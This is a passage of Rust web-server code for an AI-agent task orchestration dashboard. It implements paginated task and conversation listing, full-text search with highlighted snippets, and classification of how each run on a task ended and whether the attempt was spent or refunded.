5382        }
5383        walks.push(ListWalk {
5384            token,
5385            talks,
5386            opened: std::time::Instant::now(),
5387            ids: ids.clone(),
5388            initial_end,
5389        });
5390        (token, ids, 0, initial_end)
5391    };
5392    if offset > ids.len() {
5393        return Err(ApiError::bad_request("Invalid list cursor"));
5394    }
5395    let end = if offset == 0 {
5396        initial_end
5397    } else {
5398        offset.saturating_add(STORE_PAGE_SIZE).min(ids.len())
5399    };
5400    let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5401    Ok((ids[offset..end].to_vec(), next))
5402}
5403
5404async fn queue_page(
5405    State(ui): State<Arc<Ui>>,
5406    Query(q): Query<PageQuery>,
5407) -> ApiResult<Json<StorePage<TaskView>>> {
5408    blocking(move || {
5409        let (ids, next) = page_ids(&ui, false, q)?;
5410        let tasks: Vec<_> = ids
5411            .into_iter()
5412            .filter_map(|id| ui.queue.get(&id).ok())
5413            .collect();
5414        let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5415        let rows = tasks
5416            .into_iter()
5417            .map(|task| TaskView::with_inventory(task, &inv))
5418            .collect();
5419        Ok(Json(StorePage { rows, next }))
5420    })
5421    .await
5422}
5423
5424/// Fixed-size wire projection. Agent timestamps stay in the server index so
5425/// exact unread counts do not require sending an ever-growing turn list.
5426#[derive(Debug, Clone, Serialize)]
5427struct TalkListView {
5428    title: Option<talk::ChatTitle>,
5429    id: String,
5430    repo: PathBuf,
5431    agent: String,
5432    status: talk::TalkStatus,
5433    turns: Vec<TalkListTurn>,
5434    turn_count: usize,
5435    unread_count: usize,
5436    context: talk::ContextUsage,
5437    #[serde(skip)]
5438    agent_times: Vec<Timestamp>,
5439    thinking: bool,
5440    created_at: Timestamp,
5441    updated_at: Timestamp,
5442}
5443
5444#[derive(Debug, Clone, Serialize)]
5445struct TalkListTurn {
5446    who: talk::Who,
5447    at: Timestamp,
5448    body: String,
5449}
5450
5451fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5452    let reads: HashMap<String, Timestamp> = headers
5453        .get("x-talk-reads")
5454        .and_then(|v| v.to_str().ok())
5455        .and_then(|v| serde_json::from_str(v).ok())
5456        .unwrap_or_default();
5457    let mut index = ui
5458        .monitor
5459        .talk_index
5460        .lock()
5461        .unwrap_or_else(PoisonError::into_inner);
5462    // Bound memory independently of the number of conversations ever opened.
5463    if index.len() > 1000 {
5464        let keep: HashSet<&str> = ids.iter().map(String::as_str).collect();
5465        index.retain(|id, (_, row)| keep.contains(id.as_str()) || row.status.open());
5466        if index.len() > 1000 {
5467            index.retain(|id, _| keep.contains(id.as_str()));
5468        }
5469    }
5470    ids.into_iter()
5471        .filter_map(|id| {
5472            let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5473            if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5474                let talk = ui.talks.get(&id).ok()?;
5475                #[cfg(test)]
5476                ui.monitor
5477                    .talk_parses
5478                    .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5479                let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5480                let last = talk.turns.len().checked_sub(1);
5481                let turns = talk
5482                    .turns
5483                    .iter()
5484                    .enumerate()
5485                    .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5486                    .map(|(_, t)| TalkListTurn {
5487                        who: t.who,
5488                        at: t.at,
5489                        body: t
5490                            .body
5491                            .lines()
5492                            .next()
5493                            .unwrap_or_default()
5494                            .chars()
5495                            .take(240)
5496                            .collect(),
5497                    })
5498                    .collect();
5499                let row = TalkListView {
5500                    title: talk.title.clone(),
5501                    agent_times: talk
5502                        .turns
5503                        .iter()
5504                        .filter(|t| t.who == talk::Who::Agent)
5505                        .map(|t| t.at)
5506                        .collect(),
5507                    turn_count: talk.turns.len(),
5508                    unread_count: 0,
5509                    context: talk::context_usage(&talk, None),
5510                    turns,
5511                    thinking: false,
5512                    id: talk.id,
5513                    repo: talk.repo,
5514                    agent: talk.agent,
5515                    status: talk.status,
5516                    created_at: talk.created_at,
5517                    updated_at: talk.updated_at,
5518                };
5519                index.insert(id.clone(), (identity, row));
5520            }
5521            let row = &index.get(&id)?.1;
5522            let mut row = TalkListView {
5523                title: row.title.clone(),
5524                unread_count: row
5525                    .agent_times
5526                    .iter()
5527                    .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5528                    .count(),
5529                agent_times: Vec::new(),
5530                id: row.id.clone(),
5531                repo: row.repo.clone(),
5532                agent: row.agent.clone(),
5533                status: row.status,
5534                context: row.context.clone(),
5535                turns: row.turns.clone(),
5536                turn_count: row.turn_count,
5537                thinking: false,
5538                created_at: row.created_at,
5539                updated_at: row.updated_at,
5540            };
5541            row.thinking = ui.is_thinking(&id);
5542            Some(row)
5543        })
5544        .collect()
5545}
5546
5547async fn talks_page(
5548    State(ui): State<Arc<Ui>>,
5549    Query(q): Query<PageQuery>,
5550    headers: header::HeaderMap,
5551) -> ApiResult<Json<StorePage<TalkListView>>> {
5552    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5553        let (ids, next) = page_ids(&ui, true, q)?;
5554        Ok(Json(StorePage {
5555            rows: talk_rows(&ui, ids, &headers),
5556            next,
5557        }))
5558    })
5559    .await
5560}
5561
5562async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5563    blocking(move || {
5564        let tasks = ui.indexed_tasks()?;
5565        Ok(Json(TaskCountsView::from(
5566            crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5567        )))
5568    })
5569    .await
5570}
5571
5572/// Most hits one search returns. The rest are counted in `total`.
5573const SEARCH_MAX_HITS: usize = 100;
5574/// Longest query, in characters, and most terms it is split into.
5575const SEARCH_MAX_QUERY: usize = 200;
5576const SEARCH_MAX_TERMS: usize = 8;
5577/// Characters of context kept before the first hit, and after it.
5578const SNIPPET_BEFORE: usize = 50;
5579const SNIPPET_AFTER: usize = 110;
5580
5581/// `?scope=runs|tasks&q=...`
5582#[derive(Debug, Deserialize)]
5583struct SearchQuery {
5584    #[serde(default)]
5585    scope: String,
5586    #[serde(default)]
5587    q: String,
5588}
5589
5590/// One piece of a snippet. `hit` pieces are what matched; the client renders
5591/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
5592#[derive(Debug, Serialize, PartialEq, Eq)]
5593struct SnippetPart {
5594    text: String,
5595    hit: bool,
5596}
5597
5598#[derive(Debug, Serialize)]
5599struct SearchHit {
5600    id: String,
5601    /// The name of the field the snippet was cut from.
5602    field: String,
5603    snippet: Vec<SnippetPart>,
5604    /// The run's list row, so the page can apply its state / section / repo
5605    /// filters to a hit outside the loaded window. Absent for tasks and for a
5606    /// run record the list view cannot read.
5607    #[serde(skip_serializing_if = "Option::is_none")]
5608    run: Option<RunSummary>,
5609}
5610
5611#[derive(Debug, Serialize)]
5612struct SearchView {
5613    scope: String,
5614    q: String,
5615    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
5616    hits: Vec<SearchHit>,
5617    /// Every match, hits beyond the cap included.
5618    total: usize,
5619    truncated: bool,
5620    /// Runs whose `run.json` could not be parsed at all. They were not
5621    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
5622    unreadable: usize,
5623}
5624
5625/// The text leaves of a JSON document, with the name of the field each sits
5626/// under. Keys and numbers are skipped: they are structure, not prose.
5627fn text_leaves<'a>(
5628    value: &'a serde_json::Value,
5629    field: &'a str,
5630    out: &mut Vec<(&'a str, &'a str)>,
5631) {
5632    match value {
5633        serde_json::Value::String(s) => out.push((field, s)),
5634        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5635        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5636        _ => {}
5637    }
5638}
5639
5640/// Lower-case one character without changing how many there are, so indices
5641/// in the lowered text are indices in the original.
5642fn fold_char(c: char) -> char {
5643    c.to_lowercase().next().unwrap_or(c)
5644}
5645
5646/// Split a query into its lower-cased terms.
5647fn search_terms(q: &str) -> Vec<String> {
5648    let mut terms: Vec<String> = Vec::new();
5649    for t in q.split_whitespace() {
5650        let t = t.to_lowercase();
5651        if !terms.contains(&t) {
5652            terms.push(t);
5653        }
5654    }
5655    terms
5656}
5657
5658/// Match `terms` (all of them, anywhere in the document) against the leaves
5659/// and cut a snippet around the first hit. `None` when a term is missing.
5660fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5661    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5662    let mut first: Option<usize> = None;
5663    for term in terms {
5664        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5665        first = Some(first.map_or(at, |f| f.min(at)));
5666    }
5667    // The leaf holding the earliest hit of any term is where the snippet is cut.
5668    let (field, text) = leaves[first?];
5669    Some(SearchHit {
5670        id: String::new(),
5671        field: field.to_owned(),
5672        snippet: snippet_of(text, terms),
5673        run: None,
5674    })
5675}
5676
5677/// A window of `text` around the first occurrence of any term, whitespace
5678/// collapsed, with every term occurrence inside the window marked.
5679fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5680    let chars: Vec<char> = text.chars().collect();
5681    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5682    let needles: Vec<Vec<char>> = terms
5683        .iter()
5684        .map(|t| t.chars().map(fold_char).collect())
5685        .collect();
5686    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5687        let mut best: Option<(usize, usize)> = None;
5688        for n in needles.iter().filter(|n| !n.is_empty()) {
5689            // `to` bounds where a match may start; it may run past `to` (the
5690            // caller clips what it shows). A term longer than the field cannot
5691            // occur in it (it may live in another leaf of the document).
5692            if n.len() > chars.len() || to == 0 {
5693                continue;
5694            }
5695            let last = (to - 1).min(chars.len() - n.len());
5696            if from > last {
5697                continue;
5698            }
5699            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5700                && best.is_none_or(|(b, _)| i < b)
5701            {
5702                best = Some((i, i + n.len()));
5703            }
5704        }
5705        best
5706    };
5707    let Some((start, _)) = find(0, chars.len()) else {
5708        // Matched only through a case mapping that changes length: show the head.
5709        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5710        return vec![SnippetPart {
5711            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5712            hit: false,
5713        }];
5714    };
5715    let lo = start.saturating_sub(SNIPPET_BEFORE);
5716    let hi = (start + SNIPPET_AFTER).min(chars.len());
5717    let mut parts: Vec<SnippetPart> = Vec::new();
5718    let mut push = |s: &[char], hit: bool| {
5719        if s.is_empty() {
5720            return;
5721        }
5722        let text: String = s.iter().collect();
5723        match parts.last_mut() {
5724            Some(p) if p.hit == hit => p.text.push_str(&text),
5725            _ => parts.push(SnippetPart { text, hit }),
5726        }
5727    };
5728    if lo > 0 {
5729        push(&['\u{2026}'], false);
5730    }
5731    let mut at = lo;
5732    while at < hi {
5733        match find(at, hi) {
5734            Some((s, e)) => {
5735                push(&chars[at..s], false);
5736                // A match running past the window is shown up to its edge.
5737                let shown = e.min(hi);
5738                push(&chars[s..shown], true);
5739                at = shown;
5740            }
5741            None => {
5742                push(&chars[at..hi], false);
5743                at = hi;
5744            }
5745        }
5746    }
5747    if hi < chars.len() {
5748        push(&['\u{2026}'], false);
5749    }
5750    // Collapse whitespace (newlines in an instruction) without disturbing the
5751    // hit boundaries.
5752    let mut prev_space = false;
5753    for p in &mut parts {
5754        let mut out = String::with_capacity(p.text.len());
5755        for c in p.text.chars() {
5756            if c.is_whitespace() {
5757                if !prev_space {
5758                    out.push(' ');
5759                }
5760                prev_space = true;
5761            } else {
5762                out.push(c);
5763                prev_space = false;
5764            }
5765        }
5766        p.text = out;
5767    }
5768    parts.retain(|p| !p.text.is_empty());
5769    parts
5770}
5771
5772/// The search over `docs` (id, document), newest first, capped.
5773fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5774where
5775    I: IntoIterator<Item = (String, serde_json::Value)>,
5776{
5777    for (id, doc) in docs {
5778        let mut leaves = Vec::new();
5779        // The id is text an operator types too, and it is a map key on disk,
5780        // not a leaf.
5781        leaves.push(("id", id.as_str()));
5782        text_leaves(&doc, "", &mut leaves);
5783        if let Some(mut hit) = search_document(terms, &leaves) {
5784            view.total += 1;
5785            if view.hits.len() < SEARCH_MAX_HITS {
5786                hit.id = id;
5787                view.hits.push(hit);
5788            }
5789        }
5790    }
5791    view.truncated = view.total > view.hits.len();
5792}
5793
5794/// What a conversation is searched by: its list title and each turn's text,
5795/// under `operator` / `agent` so the snippet says who spoke. Nothing else
5796/// (session ids, repo paths, usage, drafts) is part of the document.
5797///
5798/// Saved titles take precedence; otherwise mirror the opener fallback in `app.js`.
5799fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5800    let opener = talk
5801        .title
5802        .as_ref()
5803        .filter(|t| !t.text.is_empty())
5804        .map(|t| t.text.as_str())
5805        .or_else(|| {
5806            talk.turns
5807                .iter()
5808                .find(|t| t.who == talk::Who::Operator)
5809                .map(|t| t.body.as_str())
5810        })
5811        .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5812        .unwrap_or("");
5813    let title: String = if opener.chars().count() > 96 {
5814        opener.chars().take(95).chain(['\u{2026}']).collect()
5815    } else {
5816        opener.to_owned()
5817    };
5818    let turns: Vec<serde_json::Value> = talk
5819        .turns
5820        .iter()
5821        .map(|t| {
5822            let who = match t.who {
5823                crate::talk::Who::Operator => "operator",
5824                crate::talk::Who::Agent => "agent",
5825            };
5826            serde_json::json!({ who: t.body })
5827        })
5828        .collect();
5829    serde_json::json!({ "title": title, "turns": turns })
5830}
5831
5832/// Read-only full-text search over every run's `run.json`, every task or every
5833/// conversation (title and transcript).
5834///
5835/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
5836/// record from an older schema still searches; only a file that is not JSON
5837/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
5838async fn search_get(
5839    State(ui): State<Arc<Ui>>,
5840    Query(q): Query<SearchQuery>,
5841) -> ApiResult<Json<SearchView>> {
5842    let query = q.q.trim().to_owned();
5843    if query.is_empty() {
5844        return Err(ApiError::bad_request("q must not be empty"));
5845    }
5846    if query.chars().count() > SEARCH_MAX_QUERY {
5847        return Err(ApiError::bad_request(format!(
5848            "q is longer than {SEARCH_MAX_QUERY} characters"
5849        )));
5850    }
5851    let terms = search_terms(&query);
5852    if terms.len() > SEARCH_MAX_TERMS {
5853        return Err(ApiError::bad_request(format!(
5854            "q has more than {SEARCH_MAX_TERMS} terms"
5855        )));
5856    }
5857    let scope = q.scope;
5858    if scope != "runs" && scope != "tasks" && scope != "chats" {
5859        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5860    }
5861    blocking(move || {
5862        let mut view = SearchView {
5863            scope: scope.clone(),
5864            q: query,
5865            hits: Vec::new(),
5866            total: 0,
5867            truncated: false,
5868            unreadable: 0,
5869        };
5870        if scope == "runs" {
5871            let mut unreadable = 0;
5872            // One run.json is read, matched and dropped at a time; nothing
5873            // holds the whole history. The scan runs to the end even past the
5874            // hit cap so `total` and `unreadable` stay exact.
5875            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5876                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5877                match body.and_then(|b| serde_json::from_str(&b).ok()) {
5878                    Some(v) => Some((id, v)),
5879                    None => {
5880                        unreadable += 1;
5881                        None
5882                    }
5883                }
5884            });
5885            search_docs(&terms, docs, &mut view);
5886            view.unreadable = unreadable;
5887            // Only the capped hits get a row: the filters need a run's state,
5888            // and reading every match would be the whole history again.
5889            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5890            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5891            for hit in &mut view.hits {
5892                if let Ok(state) = read_run(&ui.runs, &hit.id) {
5893                    hit.run = summarize(
5894                        [state],
5895                        &open_runs,
5896                        &claimed,
5897                        &superseded,
5898                        |p| probe.borrow_mut().status(p),
5899                        |p| probe.borrow_mut().started_at(p),
5900                    )
5901                    .pop();
5902                }
5903            }
5904        } else if scope == "chats" {
5905            let (talks, unreadable) = ui.talks.list_counting_unreadable();
5906            view.unreadable = unreadable;
5907            search_docs(
5908                &terms,
5909                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5910                &mut view,
5911            );
5912        } else {
5913            let docs = ui.queue.list().into_iter().filter_map(|t| {
5914                let mut v = serde_json::to_value(&t).ok()?;
5915                // `source` serialises as a tagged object; the label is what
5916                // the operator reads ("human", "chat@a1b2").
5917                if let Some(o) = v.as_object_mut() {
5918                    o.insert("filed_by".to_owned(), t.source.label().into());
5919                }
5920                Some((t.id, v))
5921            });
5922            search_docs(&terms, docs, &mut view);
5923        }
5924        Ok(Json(view))
5925    })
5926    .await
5927}
5928
5929/// One attempt in a task's history, as the task page lists it.
5930#[derive(Debug, Serialize)]
5931struct TaskRunView {
5932    activity: Option<String>,
5933    /// 1-based position in [`Task::runs`].
5934    n: usize,
5935    id: String,
5936    short: String,
5937    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
5938    kind: &'static str,
5939    /// The run's own status string; `None` when its record cannot be read.
5940    status: Option<&'static str>,
5941    /// Whether this build could read the run's record. Counted, never hidden.
5942    readable: bool,
5943    /// A verdict from a collapsed panel is provisional, never a decision.
5944    provisional: bool,
5945    /// What kind of attempt this was, in one line.
5946    description: String,
5947    /// How it ended and why the task moved on (or what it is doing now).
5948    outcome: String,
5949    created_at: Option<Timestamp>,
5950    pr: Option<String>,
5951    /// Why this pass ended, classified once; the flowchart is built from it.
5952    exit: RunExit,
5953    /// What the pass did to the task's attempt budget.
5954    attempt: AttemptCost,
5955    /// Edge wording for leaving this entry; names the recorded cause when
5956    /// there is one.
5957    exit_label: String,
5958    /// The position of a later entry for the same run: this entry is an
5959    /// earlier pass of it.
5960    later_pass: Option<usize>,
5961    /// Which pass over the run this entry is (1-based) and how many entries
5962    /// the task lists for the run. Counted from the list, so known even for
5963    /// a legacy record.
5964    pass_n: usize,
5965    passes_of_run: usize,
5966    /// What the run recorded about this pass; `None` for a record from before
5967    /// passes were kept, whose cause stays unknown.
5968    pass: Option<PassView>,
5969    /// The branch a review-only run reopened.
5970    branch: Option<String>,
5971    /// The badge word when it differs from `status` (`stale` / `superseded`);
5972    /// filled by the task route, which can see liveness and later attempts.
5973    badge: Option<String>,
5974}
5975
5976/// One recorded pass over a run, for the wire.
5977#[derive(Debug, Clone, PartialEq, Serialize)]
5978struct PassView {
5979    index: usize,
5980    resumed: bool,
5981    started_at: Timestamp,
5982    ended_at: Option<Timestamp>,
5983    /// `open`, `parked` or `unrecorded`.
5984    end: &'static str,
5985    cause: Option<crate::run::ParkCause>,
5986    /// One line: why it stopped, or that nobody recorded why.
5987    label: String,
5988    /// What the task recorded for this pass; `None` when it was not settled
5989    /// (or settled by a build that kept no record).
5990    cost: Option<crate::queue::PassCost>,
5991}
5992
5993impl PassView {
5994    fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5995        use crate::run::PassEnd;
5996        let (end, cause, label) = match &p.end {
5997            None => ("open", None, "still open".to_owned()),
5998            Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5999            Some(PassEnd::Unrecorded) => (
6000                "unrecorded",
6001                None,
6002                "stopped without recording why (a crash, a kill or a restart; not known)"
6003                    .to_owned(),
6004            ),
6005        };
6006        Self {
6007            index: p.index,
6008            resumed: p.resumed,
6009            started_at: p.started_at,
6010            ended_at: p.ended_at,
6011            end,
6012            cause,
6013            label,
6014            cost: settled.map(|t| t.cost),
6015        }
6016    }
6017}
6018
6019/// How one pass over a run ended, as far as the task's life is concerned.
6020#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6021#[serde(rename_all = "snake_case")]
6022enum RunExit {
6023    Unreadable,
6024    /// An earlier pass of a run id that appears again: it stopped short.
6025    Interrupted,
6026    Parked,
6027    MachineBlocked,
6028    QuotaStall,
6029    /// Stalled on a resumed pass with quota losses on record: they may be
6030    /// left over from an earlier pass, so whether this one was refunded is
6031    /// not knowable.
6032    ResumedQuotaStall,
6033    Merged,
6034    Ready,
6035    Superseded,
6036    /// The change was already on the base under other commits: the task
6037    /// finished without this run landing anything.
6038    AlreadyInBase,
6039    /// Stalled without a rate limit to blame: no verdict, attempt spent.
6040    Stalled,
6041    /// Blocked / no-op with a pull request left open: held for a person.
6042    HeldWithPr,
6043    NoopHeld,
6044    /// Blocked or failed: the attempt is spent and the task retries or holds.
6045    Spent,
6046    InProgress,
6047}
6048
6049#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6050#[serde(rename_all = "snake_case")]
6051enum AttemptCost {
6052    Spent,
6053    Refunded,
6054    None,
6055    /// Cannot be told from the records that remain.
6056    Unknown,
6057}
6058
6059impl RunExit {
6060    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6061        let Some(s) = s else {
6062            return Self::Unreadable;
6063        };
6064        let status = s.status;
6065        if resumed_later {
6066            Self::Interrupted
6067        } else if s.parked {
6068            Self::Parked
6069        } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6070            Self::MachineBlocked
6071        } else if !status.done() {
6072            Self::InProgress
6073        } else if matches!(status, RunStatus::Merged) {
6074            Self::Merged
6075        } else if matches!(status, RunStatus::Ready) {
6076            Self::Ready
6077        } else if matches!(status, RunStatus::Superseded) {
6078            Self::Superseded
6079        } else if matches!(status, RunStatus::AlreadyInBase) {
6080            Self::AlreadyInBase
6081        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6082            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6083        {
6084            if resumed {
6085                Self::ResumedQuotaStall
6086            } else {
6087                Self::QuotaStall
6088            }
6089        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6090            Self::HeldWithPr
6091        } else if matches!(status, RunStatus::VerifiedNoop) {
6092            Self::NoopHeld
6093        } else if matches!(status, RunStatus::Stalled) {
6094            Self::Stalled
6095        } else {
6096            Self::Spent
6097        }
6098    }
6099
6100    fn cost(self) -> AttemptCost {
6101        match self {
6102            Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6103            Self::Merged
6104            | Self::Ready
6105            | Self::Stalled
6106            | Self::HeldWithPr
6107            | Self::NoopHeld
6108            | Self::Spent => AttemptCost::Spent,
6109            Self::InProgress => AttemptCost::None,
6110            Self::AlreadyInBase => AttemptCost::Refunded,
6111            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6112                AttemptCost::Unknown
6113            }
6114        }
6115    }
6116
6117    /// Short edge wording for leaving a run this way.
6118    fn edge_label(self, status: Option<&str>) -> String {
6119        match self {
6120            Self::Unreadable => "record unreadable".to_owned(),
6121            Self::Interrupted => "interrupted before the run finished".to_owned(),
6122            Self::Parked => "parked, attempt refunded".to_owned(),
6123            Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6124            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6125            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6126            Self::Merged => "merged".to_owned(),
6127            Self::Ready => "ready, not merged".to_owned(),
6128            Self::Superseded => "superseded by a later attempt".to_owned(),
6129            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6130            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6131            Self::HeldWithPr => "blocked, PR left open".to_owned(),
6132            Self::NoopHeld => "verified no-op".to_owned(),
6133            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6134            Self::InProgress => "in progress".to_owned(),
6135        }
6136    }
6137
6138    /// Does a task in `end` follow from a run that ended this way? When not,
6139    /// somebody closed or held the task by hand.
6140    fn explains(self, end: TaskStatus) -> bool {
6141        match self {
6142            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6143            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6144            Self::Unreadable | Self::Superseded | Self::Ready => true,
6145            _ => end != TaskStatus::Done,
6146        }
6147    }
6148}
6149
6150/// `GET /api/queue/{id}` - one task with every attempt it went through.
6151#[derive(Debug, Serialize)]
6152struct TaskDetailView {
6153    #[serde(flatten)]
6154    task: TaskView,
6155    /// Task override, or the default daemon budget when inherited.
6156    /// A separate loop's command-line limit is not visible from here.
6157    max_attempts: usize,
6158    history: Vec<TaskRunView>,
6159    /// Entries in `history`: passes over runs, not distinct runs and not
6160    /// attempts consumed (`task.attempts`).
6161    passes_total: usize,
6162    /// Distinct runs those passes belong to.
6163    runs_distinct: usize,
6164    flow: FlowView,
6165    /// Set for a follow-up task; see [`followup_origin`].
6166    followup_origin: Option<FollowUpOrigin>,
6167    /// How many entries of `history` could not be read.
6168    runs_unreadable: usize,
6169    /// Why the attempt count can be lower than the number of runs.
6170    attempts_note: &'static str,
6171}
6172
6173const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6174and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6175on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6176the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6177
6178/// The branch a review-only run reopened, read off the instruction
6179/// `Runner::open_review` writes.
6180fn review_branch_of(instruction: &str) -> Option<&str> {
6181    let rest = instruction.strip_prefix("Review the work already on branch `")?;
6182    rest.split('`').next().filter(|b| !b.is_empty())
6183}
6184
6185/// Where an entry sits in a task's run list.
6186#[derive(Default)]
6187struct RunSlot<'a> {
6188    /// 1-based position.
6189    n: usize,
6190    /// The same run id appeared earlier: this pass resumed it.
6191    resumed: bool,
6192    /// Position of a later pass over the same run id, if any.
6193    resumed_later: Option<usize>,
6194    /// The previous distinct run and how it ended, for the retry note.
6195    prior: Option<(&'a str, RunStatus)>,
6196    last: bool,
6197    /// This pass as the run recorded it, when it did.
6198    pass: Option<&'a crate::run::RunPass>,
6199    /// What the task recorded when it settled this pass.
6200    settled: Option<&'a crate::queue::TaskPass>,
6201    /// 1-based position among the task's entries for this run, and their count.
6202    pass_n: usize,
6203    passes_of_run: usize,
6204}
6205
6206/// Describe one entry of a task's run list. Pure: everything it needs is on
6207/// the run and the task, so it is asserted without a server.
6208fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6209    let RunSlot {
6210        n,
6211        resumed,
6212        resumed_later,
6213        prior,
6214        last,
6215        pass,
6216        settled,
6217        pass_n,
6218        passes_of_run,
6219    } = at;
6220    let short = run::short_of(id).to_owned();
6221    let Some(s) = state else {
6222        return TaskRunView {
6223            activity: None,
6224            n,
6225            id: id.to_owned(),
6226            short,
6227            kind: "unknown",
6228            status: None,
6229            readable: false,
6230            provisional: false,
6231            description:
6232                "This run's record could not be read by this build (written by a different \
6233                          magi, or removed), so what kind of attempt it was is unknown."
6234                    .to_owned(),
6235            outcome: String::new(),
6236            created_at: None,
6237            pr: None,
6238            exit: RunExit::Unreadable,
6239            attempt: AttemptCost::Unknown,
6240            exit_label: RunExit::Unreadable.edge_label(None),
6241            later_pass: resumed_later,
6242            pass_n,
6243            passes_of_run,
6244            pass: None,
6245            branch: None,
6246            badge: None,
6247        };
6248    };
6249    let branch = review_branch_of(&s.instruction);
6250    let kind = if resumed {
6251        "resume"
6252    } else if branch.is_some() {
6253        "review"
6254    } else if task.solo || s.candidates.len() == 1 {
6255        "solo"
6256    } else {
6257        "competition"
6258    };
6259    let mut description = match kind {
6260        "resume" => {
6261            format!("Resumed run {short}: the same run carried on instead of competing again.")
6262        }
6263        "review" => format!(
6264            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6265            branch.unwrap_or_default()
6266        ),
6267        "solo" => "Solo run: one implementer straight into review.".to_owned(),
6268        _ => format!(
6269            "Competition: {} candidates judged blind.",
6270            s.candidates.len().max(1)
6271        ),
6272    };
6273    if !resumed && let Some((p, st)) = prior {
6274        description.push_str(&format!(
6275            " A retry: run {p} before it ended {}.",
6276            st.display_label()
6277        ));
6278    }
6279
6280    let status = s.status;
6281    let provisional = matches!(status, RunStatus::Stalled)
6282        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6283    let head = if resumed_later.is_some() {
6284        String::new()
6285    } else {
6286        match status {
6287            RunStatus::Merged => "Merged.".to_owned(),
6288            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6289            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6290            RunStatus::AlreadyInBase => {
6291                "Already in the base: this change landed under other commits, nothing was left to land."
6292                    .to_owned()
6293            }
6294            RunStatus::Stalled => {
6295                "Stalled: the judging panel never reached a quorum, so there is no verdict."
6296                    .to_owned()
6297            }
6298            RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6299            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6300            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6301            RunStatus::VerifiedNoop => {
6302                "Verified no-op: the candidates found nothing to change.".to_owned()
6303            }
6304            other if other.done() => format!("Ended {}.", other.display_label()),
6305            other => format!("In progress ({}).", other.display_label()),
6306        }
6307    };
6308    let view = pass.map(|p| PassView::of(p, settled));
6309    let recorded_end = view
6310        .as_ref()
6311        .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6312    let cost_words = match view.as_ref().and_then(|v| v.cost) {
6313        Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
